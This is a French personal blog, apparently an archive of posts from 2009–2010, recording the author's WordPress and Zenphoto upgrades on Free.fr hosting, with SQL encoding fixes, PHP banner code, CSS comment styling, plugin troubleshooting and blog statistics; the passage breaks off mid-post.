Bref, il était temps de faire quelque chose. C’était certainement lié aux serveurs Free, offrant des ressources gratuites certes, mais limitées.

Plugin wp-dtree-30

Malgré de longues recherches, aucun autre plugin ne me satisfaisait comme celui-ci pour afficher les articles par date et par catégorie. Et puis voilà, ce week-end, j’ai vu qu’une nouvelle version était disponible, la v4.2.

L’auteur explique qu’il a tout réécrit, en se basant sur la nouvelle API de Wordpress 3.x. Si les fonctionnalités restent à peu près les mêmes, cette version est beaucoup plus propre, plus robuste… et comme par hasard, elle fonctionne parfaitement.

Il faut toutefois modifier la page l_sidebar.php, puisque le nom des fonctions a changé : wpdt_list_archives() et wpdt_list_categories(). Vous remarquerez aussi que de belles petites icônes ont été ajoutées…

Plugin wp-spamFree

Je l’ai finalement désactivé, et remplacé par celui fournit par défaut avec Wordpress, Akismet. Ce dernier a bien évolué depuis l’époque où j’avais du installer wp-spamFree pour être correctement protégé. Je touche du bois, depuis la réactivation d’Akismet, plus de spams.

Erreur 500

Après ces deux changements, les erreurs 500 ont à priori disparues (c’est encore un peu tôt pour en être certain à 100%).

L’erreur 500 est une erreur côté serveur : message générique, difficile de savoir vraiment d’où vient le problème, tout ce que l’on peut dire, c’est que quelque chose s’est mal passé ! Il y a beaucoup d’articles sur le web à ce propos concernant les serveurs de Free : elles peuvent être liées au fichier .htaccess, mais ce n’était pas mon cas. Je pense que ces deux plugins me consommaient beaucoup de ressources mémoire, et celles-ci étant limitées par Free, cela générait toutes ces erreurs.

Concernant le fichier .htaccess, assurez-vous qu’il comporte la ligne “php 1” comme indiqué sur cet article. Si cela ne résout pas le problème, désactivez tous vos plugins… et réactivez-les un par un, jusqu’à identifier celui qui pose problème. Ensuite, vérifiez si une version plus récente existe. Sinon, essayez d’en trouver un autre qui réponde à vos besoins.

Zenphoto 1.3.1.2

Sat, 02 Oct 2010 17:52:24 +0000

Mise à jour de l’album Zenphoto en version 1.3.1.2.

Cette fois tout se passe à peu près bien, en modifiant le fichier setup.php comme pour la version 1.2.8. Enfin, il a fallu modifier d’autres lignes, mais cela a été assez rapide. A toutes fins utiles, voilà le fichier que j’ai utilisé.

J’en ai profité pour utiliser et adapter la dernière version du thème Zenpage, un peu plus joli (contraste, dégradé) :

Et la navigation a maintenant de belles icônes :

Mise à jour Wordpress 3.0.1 difficile

Sat, 07 Aug 2010 16:35:51 +0000

Dimanche dernier, je me suis décidé à installer la dernière version de Wordpress, la 3.0.1. Passage de version majeure, puisque l’on passe de la 2.x à la 3.x.

Côté nouveautés, on peut citer notamment la fusion avec Wordpress MU (Multi-Utilisateurs) et donc la possibilité de gérer plusieurs sites avec une seule installation, une nouvelle gestion des menus (si le thème le supporte), l’amélioration de la taxonomie (classification plus fine) et enfin un nouveau thème par défaut exploitant toutes les nouvelles fonctionnalités.

Bref peu de choses qui m’intéressent vraiment, tant que je garde mon thème actuel… mais cela peut donner l’envie de partir d’un nouveau thème et de le personnaliser, probablement en utilisant les widgets, ce qui n’est pas le cas pour l’instant.

Toujours est-il que la migration s’est plutôt mal passée. La phase de mise à jour en elle-même s’est bien passée, deux clics une fois les fichiers copiés… la base de données est mise à jour… et hop, retour au blog, oui mais :

Tous les caractères accentués sont mal affichés (articles, titres, catégories, etc…)
Impossible d’afficher la page d’administration (page blanche)

Les caractères mal affichés

Pour une raison inconnue, tous les tables de la base de données sont passées en « latin1_general_ci » au lieu de « utf8_general_ci ». Si pour certaines tables cela ne pose pas de problèmes (valeurs numériques, etc…), il n’en est pas de même pour tout ce qui contient les beaux caractères accentués de la langue française, et donc : les articles, les commentaires, les noms de catégorie, etc…

Pour réparer ce type de problème, il faut modifier le type des tables en question, en les passant en format numérique d’abord, puis en les passant en utf-8, suivant ce principe :

ALTER TABLE table1 CHANGE colonne1 colonne1 BLOB;
ALTER TABLE table1 CHANGE colonne1 colonne1 TEXT CHARACTER SET utf8;

Et donc pour les tables suivantes :

wp_posts (les articles)
wp_comments (les commentaires)
wp_tags (les tags)
et peut-être d’autres si vos plugins utilisent la base de données…

On exécute alors via l’interface de phpMyAdmin les commandes SQL suivantes :

ALTER TABLE `wp_posts` CHANGE post_content post_content BLOB;
ALTER TABLE `wp_posts` CHANGE post_content post_content TEXT CHARACTER SET utf8;
ALTER TABLE `wp_posts` CHANGE post_title post_title BLOB;
ALTER TABLE `wp_posts` CHANGE post_title post_title TEXT CHARACTER SET utf8;
ALTER TABLE `wp_tags` CHANGE tag tag BLOB;
ALTER TABLE `wp_tags` CHANGE tag tag TEXT CHARACTER SET utf8;
ALTER TABLE `wp_comments` CHANGE comment_content comment_content BLOB;
ALTER TABLE `wp_comments` CHANGE comment_content comment_content TEXT CHARACTER SET utf8;
Les auteurs des commentaires peuvent aussi contenir des lettres accentuées :
ALTER TABLE `wp_comments` CHANGE comment_author comment_author BLOB;
ALTER TABLE `wp_comments` CHANGE comment_author comment_author TEXT CHARACTER SET utf8;

Concernant les catégories c’est la table wp_terms, mais la commande SQL renvoie une erreur, il faut donc modifier le type des colonnes name et slug à la main (toujours via l’interface phpMyAdmin), puis ressaisir les catégories comportant des accents (heureusement, c’est assez rapide si l’on n’a pas trop de catégories comportant des accents).

Une fois ceci fait, le blog était redevenu présentable.

La page d’admininistration

Après une petite recherche sur le forum wordpress, tout indique que c’est généralement dû à un plugin. Et effectivement, en les désactivant tous, la page d’administration n’est plus blanche, mais m’indique :

Vous n’avez pas les permissions nécessaires pour accéder à cette page.

C’est dans les moments comme ça qu’il faut garder son calme ! :-(

Là aussi recherche sur le net, et le problème vient toujours de la base de données : dans la tablewp_options, l’option user_roles contenait des caractères mal encodés (dans option_value). Dans la foulée, je l’ai également repassée en utf-8.

Revenons aux plugins : c’était finalement l’occasion de faire un peu de ménage, c’est-à-dire supprimer ceux que je n’utilise plus, et aller chercher les dernières versions des autres.

Le plus simple est alors de copier par FTP sur son pc le répertoire wp-content/plugins (histoire d’avoir une sauvegarde), puis recopier un par un ceux que l’on utilise, les activer, puis les mettre à jour si une nouvelle version est affichée disponible. Mais là encore, ce ne fût pas simple : certains plugins ne sont plus compatibles, ainsi que certaines dernières versions… de plus, l’ordre d’activation peut avoir un impact…

Ainsi, le plugin wp-stats (v2.5) ne marche pas, et la dernière version du plugin WordPress.com Stats (1.7.2) non plus (mais la 1.6 fonctionne). Quant au plugin wp-dtree, il vaut mieux l’activer en premier… Je ne suis d’ailleurs même pas sûr qu’il fonctionne vraiment, les derniers articles n’apparaissant pas. Et tout cela chez Free, car l’hébergeur peut également avoir une influence sur ces résultats.

Bref une belle galère que cette mise à jour 3.0.1…

Afficher les résultats de la recherche : the_excerpt()

Sun, 25 Jul 2010 17:58:20 +0000

Je n’étais pas vraiment satisfait de la manière dont les résultats d’un recherche sur le blog étaient rendus : tous les articles concernés étaient listés mais affichés en entier, ce qui pouvait nécessiter plusieurs pages selon le nombre d’articles correspondants, et n’était pas vraiment pratique.

En fait, Wordpress met à notre disposition deux fonctions : the_content() outhe_excerpt().

La première affiche tout l’article sauf s’il y a un tag

dans l’article, ce qui correspond au “Lire la suite”, et qui permet de n’afficher par défaut que le début de l’article. Mais je ne l’utilise que pour les articles très longs.

La seconde ne va afficher que les 55 premiers caractères, sans images, et ajoute à la fin un […].

J’ai donc modifié le fichier search.php de mon thème, en remplaçant dans la boucle principale la fonction the_content() parthe_excerpt().

Voilà, c’est aussi simple que cela.

La fonction the_excerpt() n’accepte pas de paramètres, on peut toutefois modifier le nombre de caractères renvoyés ainsi que le […] ajouté à la fin en déclarant de nouvelles fonctions dans le fichier functions.php du thème. Voir cette page pour le détail, en ce qui me concerne, j’ai laissé les valeurs par défaut.

Du style dans les commentaires

Sun, 04 Jul 2010 16:43:04 +0000

Voilà longtemps que je voulais améliorer la façon dont les commentaires sont affichés sur le blog. Je m’étais contenté de ce qui était fourni pour le thème utilisé, modifiant simplement la police, les couleurs… Bref, voilà ce que cela donnait :

Après un peu de recherche sur le net pour voir ce qui se faisait, de modifications sur la feuille de style et le fichier comments.php (pour défnir les styles à utiliser et ajouter l’avatar), de retouche d’images avec Gimp, voilà ce que ça donne maintenant : c’est quand même plus joli, non ?

Réalisation

Au départ, j’ai voulu copier-coller des styles tels que trouvés sur le web… Mauvaise méthode (de fainéant) qui n’a donné aucun résultat probant. Il faut partir du thème existant, identifier les styles utilisés, et les modifier tranquillement.

Pour ce faire, je me suis replongé dans le livre « CSS 2 - Pratique du Design web », que j’avais lu quand j’ai commencé à faire mon site. Un très bon livre pour s’initier et comprendre le CSS et les feuilles de style.

Le cadre des commentaires est réalisé avec deux images de fond : j’ai récupéré des images sur un site, puis avec Gimp, les ai ajusté à mes besoins : largeur, hauteur, couleur, fond transparent. Puis il faut définir deux blocs, l’un servant à afficher l’image du haut et un second pour l’image du bas. Cette dernière doit être d’une hauteur suffisante pour couvrir un long commentaire, car elle glissera pour accompagner le bloc du texte (je l’ai mis à 1500 pixels, ça devrait aller !).

Dans le fichier comments.php de mon thème je vais ensuite modifier l’affichage des commentaires en appelant deux classes “top_comment” et “bloc_comment”, le second étant imbriqué dans le premier) :

<div class="top_comment">
<div class="bloc_comment">
<?php comment_text() ?>
<?php if ($comment->comment_approved == '0') : ?>
Votre commentaire est en attente de modération.
<?php endif; ?>
</div>
</div>

Et voilà les deux classes définies dans le fichiers style.css :

.top_comment {
 padding-top: 55px;
 margin-top: 5px;
 background: url('images/top-comment.png') left top no-repeat;
 }

.bloc_comment {
 padding-bottom: 15px;
 padding-top: 10px;
 background: url('images/bloc_comment.png') left bottom no-repeat;
 }

Les valeurs de padding et de margin permettent d’ajuster l’affichage des images selon les besoins. Et voilà, le tour est joué !

Le retour de la bannière aléatoire

Sat, 08 May 2010 16:57:00 +0000

Suite des épisodes de la bannière aléatoire !

Résumé des épisodes précédents : grâce à zenphoto, je pouvais aller extraire un morceau d’image d’un des albums. La bannière du site changeait ainsi de manière aléatoire à chauqe chargement de la page, et le résultat était parfois surprenant. Hélas, depuis le début d’année, Free a augmenté sa sécurité, et la fonction php include() que j’utilisais est maintenant totalement interdite. Retour donc à une bannière fixe, malgré de nombreux essais de contournement.

Je me suis alors orienté vers une autre solution : puisque de mon blog Wordpress en local (sur le pc) la fonction include fonctionne toujours, lorsque l’image générée me plait, je la sauvegarde dans un répertoire. Il suffit ensuite d’appeler une de ces images de manière aléatoire. Pour ce faire, après une petite recherche sur le web, j’ai trouvé le code suivant :

<?php
$curdir=getcwd(); chdir(get_template_directory() . "/images/headers");
$files=glob("*.{gif,png,jpg,gif}", GLOB_BRACE);
chdir($curdir);
$file=$files[array_rand($files)];
?>
<img src="<?php echo(get_bloginfo('template_url')."/images/headers/$file"); ?>" width="770" height="140" alt="<?php bloginfo('name'); ?> random header image" />

Je le teste en local, tout fonctionne à merveille. Mais voilà, nouveau problème avec Free : glob est également désactivé ! :-(

Heureusement, mes fichiers portant tous le même nom suivi d’un chiffre (banniereX.jpg), j’ai pu simplifier le code en procédant de la sorte :

<?php
$rand =  rand(1, 50);
?>
<img src="<?php echo(get_bloginfo('template_url')."/images/headers/banniere$rand.jpg"); ?>" width="970" height="140" alt="<?php bloginfo('name'); ?> random header image" />

C’est beaucoup plus simple, mais m’oblige à gérer le nombre de fichiers présent manuellement : cinquante images pour l’instant si vous avez suivi… J’en ajouterai sûrement d’autres de temps en temps.

Et finalement, la solution m’a été donnée sur le forum phpfrance : plus de fonction glob, et plus besoin de gérer le nombre d’images :

<?php
$curdir=getcwd(); chdir(get_template_directory() . "/images/headers");
$dossier=getcwd();
$list = opendir($dossier);
$tabfile = array();
while ($fichier = readdir($list))
  {
  ($fichier != "." && $fichier != ".." && $fichier != ".htaccess")? $tabfile[] = $fichier : '' ;
  }
  closedir($list);
//mélange du tableau
  shuffle($tabfile);
// premier élément du tableau
$file = array_shift($tabfile);
chdir($curdir);
?>
<img src="<?php echo(get_bloginfo('template_url')."/images/headers/$file"); ?>" width="970" height="140" alt="morceau d'image..." title="morceau d'image..." />

Adieu Last.fm, bonjour Libre.fm

Fri, 12 Feb 2010 19:05:35 +0000

Dans un article récent, je vous parlais du plugin Last.fm RPS qui n’affichait plus les pochettes, sans doute à cause de restrictions sur l’environnement de Free.

D’autre part, Last.fm, qui était totalement gratuit à l’époque où j’ai créé mon compte (en 2006), a modifié sa politique et a rendu l’écoute payante, 3 € par mois… Et comme souvent, les fondateurs avaient quitté l’entreprise, rachetée par le réseau audiovisuel américain CBS. Il était donc grand temps de passer à l’alternative libre née à la suite de ce changement, j’ai nommé Libre.fm.

Audioscrobbler

De quoi s’agit-il au fait ? grâce à une techno appelée “audioscrobbler”, et une fois le lecteur audio correctement configuré (ajout d’un plugin ou greffon), toute la musique que j’écoute est stockée sur le serveur Last.fm. A quoi cela sert-il ? à rien, c’est donc indispensable… Plus sérieusement, on peut ainsi faire partager ses goûts musicaux avec d’autres personnes.

Last.fm proposait un lecteur qui permettait de découvrir de nouveaux artistes, grâce aux informations récupérées sur ce principe auprès de milliers d’utilisateurs. On entrait un nom d’artiste qui nous plaisait, et le lecteur, comme une radio, passait des morceaux d’artistes qui pouvaient potentiellement vous plaire, puisque écoutés par des gens qui écoutaient aussi votre artiste préféré.

Le projet Libre.fm

Il s’agit donc d’un projet très récent, et encore à l’état de développement. L’auteur du projet, Matt Lee, explique dans un interview sur Framablog comment tout cela a démarré :

L’idée de créer Libre.fm m’est venue alors que je fermais mes comptes pour des services tels que Facebook, MySpace, LinkedIn, etc. Il m’est apparu que je pouvais mettre en place une solution de remplacement libre à Last.fm – un service que beaucoup de monde utilise.

Pour l’heure, Libre.fm espère fournir une solution de remplacement pour ceux qui souhaitent archiver leurs habitudes d’écoute, en implémentant l’API Audioscrobbler (qui semble être complètement ouverte) et des clients modifiés pour différentes plateformes.Le but à plus long terme est en lien direct avec mes autres centres d’intérêt, tels que la Free Culture, la promotion et l’enregistrement de musique d’artistes issus de la Free Culture. Sur Libre.fm, ce seront ces artistes qu’on pourra télécharger, mais des membres de la communauté s’emploieront à convaincre d’autres groupes de distribuer des morceaux sous une licence libre, telle que la licence Creative Commons By-Sa, de sorte qu’on puisse les proposer sur le site. La promo gratuite ne peut faire de mal à aucun groupe – nous ajouterons peut-être une boutique de musique en ligne où nous vendrons des téléchargements de musique libre. Les morceaux seront au format Ogg Vorbis.

Le Ogg Vorbis, ce n’est peut-être pas ce à quoi les gens s’attendront, vu que les services similaires penchent en général pour des formats du genre MP3, mais à mes yeux il s’agit d’un moyen formidable de promouvoir l’utilisation du Ogg Vorbis. Plus tard, nous intégrerons peut-être aussi des clips vidéo au format Theora.

On voit que l’esprit de la Culture Libre est très présent… Et un type qui ferme ses comptes sur Facebook, MySpace et compagnie est à priori quelqu’un de respectable ! ;-) Disons qu’il se sent concerné par la sécurisation des données privées, et le refus de laisser des sociétés à but commercial les utiliser et même se les approprier.

Migration vers Libre.fm

La création d’un compte est on ne peut plus simple. Ensuite il faut configurer son lecteur audio pour qu’il envoie les informations vers Libre.fm et non plus Last.fm. S’il existe déjà un plugin pour mon lecteur Rhythmbox, il est encore à l’état de développement (comme le reste du projet), et n’a pas fonctionné sur mon poste. Heureusement, il existe une solution : ajouter la ligne suivante au fichier /etc/hosts :

89.16.177.55 post.audioscrobbler.com

Reste à configurer le plugin Last.fm de Rhythmbox avec l’identifiant et le mot de passe que vous venez de créer sur Libre.fm, et le tour est joué.

Les choses étant bien faites, il est possible de migrer tout son historique Last.fm vers Libre.fm. Et donc tout ce que j’ai écouté sur le PC depuis 2006, soit plus de 18000 titres ! Pour cette migration, vous trouverez toutes les infos sur cette page (en anglais).

J’ai du m’y reprendre à trois fois pour que le script qui récupère tous les titres de last.fm arrive à son terme : les deux premières tentatives se sont terminées avec un message d’erreur http… mais j’écoutais de la musique (et donc je “scrobblais” vers Last.fm). Peut-être était-ce la raison, car la troisième fût la bonne. Sinon, la manip est on ne peut plus simple : lancement d’un premier script pour récupérer le contenu de Last.fm, un peu de nettoyage dans le fichier contenant votre historique (suppression des doublons), et exécution d’un autre script pour envoyer le contenu cette fois sur Libre.fm.

Le blog

Pour l’instant, il n’existe pas de plugin Wordpress qui permette d’afficher les derniers titres écoutés sur le blog. Cela viendra certainement un jour… En attendant, une simple image fera l’affaire, et en cliquant dessus, on accède à ma page sur Libre.fm, puis consulter mes stats…

Encore une fois, c’est assez basique pour l’instant. Mais au moins je suis sûr que mes données personnelles ne sont pas utilisées à des fins commerciales, et que ma vie privée est respectée. On peut déjà écouter des artistes du site Jamendo. Et le projet a reçu un excellent accueil sur le web… longue vie à lui !

Bannière aléatoire, plugin lastfm : problème avec Free

Thu, 04 Feb 2010 18:59:07 +0000

Depuis bientôt deux semaines, il y a deux trucs qui ne marchent plus sur le blog : la bannière aléatoire (dont j’étais si content) s’est soudain mis à me retourner un joli message d’erreur (qui a au moins le mérite d’être clair) :

Comme expliqué dans l’article cité, j’utilise une fonction php include pour obtenir cette image aléatoire tirée de l’album zenphoto. Même le test de retour sur la fonction ne marchait plus ! J’ai dans un premier temps remplacé le code par une image fixe. Au bout d’une semaine, j’ai posé la question sur le newsgroup proxad.free.services.pageperso, probablement le meilleur endroit pour obtenir des informations sur ce genre de problème.

Mon code était le suivant :

<div id="header_img">
<?php $banniere = include("https://zenphoto.pled.fr/?p=heading");
if ($banniere <> 1)
echo "";
?>
</div>

On m’a alors conseillé d’utiliser un chemin relatif pour la fonction php include. Ce que j’ai fait, ce qui donne :

<div id="header_img">
<?php $banniere = include("../../../../gallery/?p=heading");
if ($banniere <> 1)
echo "";
?>
</div>

Léger progrès : maintenant le test de retour de la fonction fonctionne à nouveau… mais celle-ci échouant, c’est l’image par défaut qui s’affiche systématiquement. Vous remarquerez que j’ai changé cette image ; avant c’était des vaches dans un pré… maintenant c’est moi… sur une pelouse ! ;-)

Autre problème : le plugin Lastfm RPS, qui m’affichait de belles pochettes, affiche maintenant une image par défaut. Pour une raison inconnue, plus de pochettes ! Là non plus, je n’ai rien changé, et le plugin fonctionne très bien sur mon serveur local (qui me sert de test)… c’est donc bien chez Free qu’il y a eu un changement. De plus je ne comprend rien à ce plugin, difficile donc d’identifier avec précision d’où vient le problème.

Soyons patient, cela va peut-être revenir… C’est le problème de ce genre d’hébergement gratuit, on ne maîtrise pas grand chose. On peut difficilement se plaindre, car l’offre est quand même très complète, et on peut comprendre qu’ils sécurisent au maximum l’environnement.

Zenphoto 1.2.8

Mon, 01 Feb 2010 21:00:00 +0000

Le passage à cette dernière version 1.2.8 s’est révélé un peu plus délicat que d’habitude. Cette version (téléchargée telle quelle depuis le site de zenphoto) ne passe pas les «prerequisites», échouant sur les tests de permissions sur les répertoires.

C’est dû à l’environnement chez free.fr, qui ne permet pas d’avoir les permissions requises (777, n’est-ce pas un peu excessif ?) sur les répertoires. Leur système est sécurisé, et ceci ne peut être modifié. J’ai alors posé la question sur le forum zenphoto, expliquant les limitations de l’offre Free. La réponse fut que zenphoto n’étant pas testé dans ce genre d’environnement restrictif… je pouvais à la rigueur essayer tel truc.. mais sans garantie. Et effectivement, le truc en question ne fonctionnait pas.

C’est finalement sur le forum français de zenbien que j’ai trouvé la solution : mise en commentaire des lignes suivantes du fichier setup.php, et passage d’une variable à False :

variable $good dans setup.php sur les tests concernant les autorisations de dossier. (Commenter // les lignes 1409, 1414, 1417, 1418 et 1419).
empêcher la copie du fichier .htaccess fourni par zenphoto : ligne 244 commentée.
ligne 1266 variable $Apache passée à false

ATTENTION, on est toujours dans le fichier setup.php, il ne s’agit pas du fichier .htaccess lui-même (qui, chez Free, ne doit contenir qu’une seule ligne : php 1). Pour simplifier les choses, vous pouvez récupérer le fichier modifié ici.

Une fois ceci fait, la mise à jour se déroule sans problème, et surtout zenphoto fonctionne parfaitement.

Je suis alors revenu sur le forum de zenphoto pour communiquer la “french solution”. Et réponse très positive : le développeur reconnait que le test de permissions devrait être un “warning” (non bloquant) et pas une “error” (bloquant) :

I agree that the permissions test should be a warning. It is in the development stream.

Donc ce sera peut-être plus simple sur la prochaine version ! :-) Une occasion de plus de voir la réactivité et le bon esprit qui règne dans le logiciel libre.

Statistiques du blog

Mon, 04 Jan 2010 18:28:42 +0000

La fin d’année, ou le début de la suivante, c’est le moment de regarder les stats du blog, même si le nombre de visites n’est pas vraiment ma première préoccupation.

Un premier plugin WP online counter me donne le nombre total de visiteurs, qui est affichée en bas de page, soit environ 184000 visiteurs début janvier. Je dois utiliser ce plugin depuis le début du blog, ou peu de temps après. Mais c’est un peu limité comme statistique, et j’ai voulu avoir un peu plus d’informations…

Pour ce faire, j’ai donc utilisé un autre plugin appelé wordpress.com stats : il suffit de l’activer (il faudra une API key, fournie lors de la création d’un compte sur wordpress.com), puis de laisser faire. C’est le site de Wordpress qui va tout enregistrer et sauvegarder.

J’ai installé ce dernier plugin en avril 2008, l’historique commence donc à être intéressant.

Visites

Côté visites (voir le graphique ci-dessus), la progression est assez régulière, et on arrive à une centaine de visites par jour sur les derniers mois. Je pense que cette progression est tout simplement liée à l’accroissement du contenu : le blog existe maintenant depuis quatre ans, les articles s’accumulent, et logiquement… le nombre de visites augmente.

Le plugin fournit également un tableau récapitulatif, où l’on peut voir que la journée la plus active fût celle du 13 septembre 2009, avec 184 visites. Le mois de novembre 2009 totalise quant à lui 3648 visites.

Articles

Puisque l’on parle du nombre d’articles, j’en aurai écrit 129 au cours de l’année 2009, soit un de plus qu’en 2007 ! L’année 2006 reste loin devant avec 163 articles, ça m’étonnerait que je batte un jour ce “record”…

Une statistique intéressante concerne les articles les plus consultés. Voilà donc le «top 20», et ce depuis l’activation du plugin : TitreVisitesVirtualBox2173VTT Giant2008Ubuntu 8.04 - Hardy Héron1803Le zona, c’est la zone1232Les démons de Jésus1049UBCD4Win1029Les oursins n’aiment pas le Round-up879SED - Stream EDitor688Wordpress : installation en local670Le pays Gallo594Sauvegarder ses données sous Ubuntu500Ubuntu 8.10 - Intrepid Ibex498Zenphoto et Zenphotopress356Karl Marx - Sociologie critique313Erreur 403303Zenphoto 1.2301Tristes tropiques - Claude Lévi-Strauss297Installation et personnalisation d’Ubuntu283Le langage silencieux - Edward T. Hall279Ubuntu 9.10 - Karmic Koala265 C’est assez varié, ce qui est bien, avec tout de même une nette majorité d’articles sur l’informatique; quelques bouquins arrivent à se glisser dans le classement, ce qui me fait plaisir. Le pays Gallo quant à lui obtient une belle dixième place… L’article sur la bande son du film “Les démons de Jésus” se place aussi très bien. Quant à l’article sur le VTT Giant de ma soeur Martine (juste quelques photos), sa deuxième place est totalement inattendue !

Référents

Pour finir, quelle ne fût pas ma surprise de voir dans les référents une page du wiki de Gramps, le logiciel de gestion des informations généalogiques ! J’avais fait un article à propos de la génération d’un site web (une option de Gramps), et indiqué comment remplacer un mot par un autre dans tous les fichiers générés, car tout était généré automatiquement, et ne me convenait pas. La page du wiki indique ma manip, et me cite comme source… Voilà quelque chose qui me fait très plaisir, et correspond à l’esprit du net : partager ses connaissances, en faire profiter les autres, et réciproquement.

Plugin Last.fm RPS

Sun, 06 Dec 2009 17:48:21 +0000

Ça faisait longtemps que je cherchais à changer la manière dont sont affichés les titres de la musique que j’écoute sur le PC. Je n’ai pas trouvé mieux que Last.fm, qui avec le système Audioscrobbler, permet d’enregistrer dans une base de données tout ce que vous écoutez. Les informations sont transmises à l’aide d’un plugin installé dans votre lecteur audio. Il ne reste plus qu’à les récupérer pour les afficher sur le blog. Last.fm propose des solutions, mais cela ne me satisfaisait pas : soit trop gourmandes (widgets en java) soit pas assez jolies (voir article).

J’ai finalement trouvé ce plugin, qui est assez efficace et affiche sobrement les pochettes. Par contre, j’ai pas mal galéré pour le paramétrer comme je voulais ! N’utilisant pas les widgets dans la barre latérale (sidebar), j’ai donc appelé la fonction directement, comme indiqué dans le fichier readme.

<?php lastfm_recent_sidebar(pledisque,5,0,right)?>

Au départ, je ne voulais pas afficher mon avatar (icône), ni les données associées. Mais la modification du fichier lasfm.php est très sensible, et l’on a vite fait de perdre la mise en page. N’ayant pas réussi à ne conserver que la liste des morceaux, j’ai donc laissé l’avatar (finalement, cela permet d’accéder à mes statistiques sur last.fm), tout en n’affichant que les données que je souhaitais. Pour ce faire (version 1.0.3 du plugin):

Les paramètres pour afficher ou non les données personnelles sont aux lignes 17 à 24 (j’ai mis ‘gender’ à false).
J’ai également supprimé les lignes 36 à 46 pour retirer la ligne avec une petite icône et le statut de “user”.
Dans le fichier lastfm.css, j’ai également ajouté la propriété list-style-type:none; pour l’identifiant lastfm_recent afin se supprimer les puces (ligne 2).
Pour finir, un peu de traduction des messages textes du fichier, et voilà.

Le futur

J’ai créé mon compte sur Last.fm en mars 2006. A cette époque, Last.fm était totalement gratuit et permettait d’écouter en streaming sa propre radio, basée sur vos préférences. On pouvait soit utiliser un lecteur dédié, soit votre lecteur audio s’il bénéficiait d’un plugin de ce type. C’était pas mal… hélas, en juillet 2008, changement de politique, et il faut maintenant débourser 3 euros par mois pour bénéficier de cette radio. Le service de scrobbling reste heureusement gratuit.

Cela illustre la dépendance que peut entraîner l’utilisation de services dont la propriété vous échappe. Un beau jour, le service s’arrête, et vous ne pouvez rien y faire (sinon payer, dans le meilleur des cas).

Alors un projet libre est né, Libre.fm, encore a l’état de développement. On peut pour l’instant “scrobbbler” sa musique sur le site, mais pas encore la récupérer pour afficher sa liste de lecture sur son blog. Quand ce sera prêt, je passerai sur ce service libre. La musique que l’on pourra écouter en mode radio sur ce site sera 100% libre (et téléchargeable), et nos données personnelles resteront privées.

Album photo classé par catégories

Thu, 20 Aug 2009 17:05:52 +0000

Après avoir créé tous les albums photos du voyage, je me suis dit qu’il était temps de classer tous ces albums en utilisant les sous-albums de Zenphoto. C’était devenu possible depuis la v1.2, mais je n’avais encore profité de cette possibilité. Voilà qui est fait :

Et donc maintenant quatre albums sur la page d’accueil : puis dans chaque album, des sous-albums, et ainsi de suite, selon les classements.

J’en ai profité pour recréer d’anciens albums qui n’existaient que sur l’ancien site (de bons vieux albums en html, faits à la main…).

Les photos de Bangkok en 2003, celui de 2009 étant un peu “léger” comparé au Vietnam et au Cambodge !
Et aussi pas mal de sorties VTT en 2004-2005 : de belles sorties en Provence avec Blaise (Reine Jeanne, pays de Pagnol, Trêts), ainsi que d’autres en Bretagne avec Eric (Huelgoat, Guerlédan).

Je suis reparti des photos originales afin de les retailler à une taille suffisante : les débits ont changé, à l’époque, il ne fallait pas que la photo soit trop grosse (640x480) alors que maintenant j’utilise une taille supérieure (800x1067). C’est important pour la bannière aléatoire du blog, il faut cette largeur pour qu’elle ne soit pas “étirée”.

Pour les sorties VTT, j’ai même repris tous les commentaires.Tout cela représente quelques heures de boulot… Ce n’est pas fini, car les premiers albums faits sous Zenphoto doivent aussi être “mis à jour” avec des images de plus grande taille.

Côté Zenphoto, le déplacement d’albums marche à la perfection : c’est rapide et efficace. Par contre, lors de copies d’albums, les commentaires sont perdus. J’ai remonté le problème, c’est en cours.

Mais l’album photo (et son nouveau thème) commence à prendre forme…

Nouveau thème pour zenphoto

Mon, 13 Jul 2009 17:32:11 +0000

Un nouveau thème a été mis en place pour l’album photo :

C’est un nouveau thème proposé pour être utilisé avec l’extension du CMS zenPage. CMS signifie C ontent M anagement S ystem; en gros, cela vous permet de transformer votre galerie photo en blog (ajout de news, de pages). On peut malgré tout utiliser le thème sans pour autant installer l’extension zenPage. C’est ce que j’ai fait, et après quelques adaptations personnelles, le voilà mis en place.

Ça a été assez facile, puisque zenphoto est maintenant entièrement internationalisé. Ce n’était pas le cas au début, et le thème précédent était largement bricolé de toutes parts… pas mal de rustines… Cette fois, je repars d’un thème plus récent, et plus propre.

A noter la disparition de la bannière aléatoire : historiquement, j’avais d’abord intégré cette bannière dans zenphoto, ne sachant pas encore si je pourrais le faire sur le blog (wordpress). Puisque c’est maintenant chose faite, ce n’est plus vraiment nécessaire de le laisser dans l’album photo.

Je vais également en profiter pour mettre en place les “sous-albums”, c’est-à-dire classer les albums par groupes, afin de faciliter la navigation. Ça fait longtemps que je voulais le faire, c’est l’occasion : les nouveaux albums photos à venir sont ceux de mon voyage en Asie. Ils seront les premiers classés de la sorte. Il me restera ensuite à faire de même pour les albums existants.

Zenphoto en version 1.2.5

Wed, 13 May 2009 17:48:46 +0000

Zenphoto a été mis à jour de la version 1.2.3 à la version 1.2.5. J’en ai profité pour modifier un peu la partie “Commentaires”.

En fait, je me suis aperçu que lorsqu’un commentaire était envoyé, un message d’erreur s’affichait (même si le commentaire était enregistré). Après quelques recherches, ce problème était résolu avec la dernière version.

D’‘autre part, j’avais observé une baisse très nette des commentaires depuis que j’avais mis en place une “captcha”, afin de protéger l’album des spams (je commençais à en recevoir souvent).

Mais si les initiales de captcha signifient Completely Automated Public Turing test to Tell Computers and Humans Apart, soit en français, « test public de Turing complètement automatique ayant pour but de différencier les humains des ordinateurs », cela semble autant rebuter les humains que les machines…

Enfin, je n’étais pas spécialement content de l’apparence du formulaire de recherche.

J’ai donc viré la captcha, je verrais si je reçois toujours des spams, et si d’autres moyens (comme askimet ou spamassassin) ne peuvent être employés, zenphoto en accepte plusieurs. J’ai revu le formulaire, il est maintenant plus joli :

Et après la mise à jour, le message d’erreur avait effectivement disparu. Les commentaires sont donc ouverts pour les photos du Lambon, journée de dimanche, qui ne va pas tarder à arriver !

Notes de mise à jour

Pour mémoire, voilà les petits soucis durant la mise à jour :

1. Message d’erreur sur le blog Wordpress lors de l’affichage de la bannière

La bannière s’affichait bien, mais juste au-dessus le message suivant apparaissait :

Use of undefined constant silent - assumed ‘silent’ in /var/www/wordpress/zenphoto/themes/testing-dev/heading.php on line 4

Après une question sur le forum de zenphoto, il fallait modifier le fichier heading.php : utiliser ’true’ au lieu de ‘silent’ comme paramètre de la fonction checkforPassword(), et de préférence utiliser la nouvelle fonction newImage(). Ce qui donne ceci :

Avant :

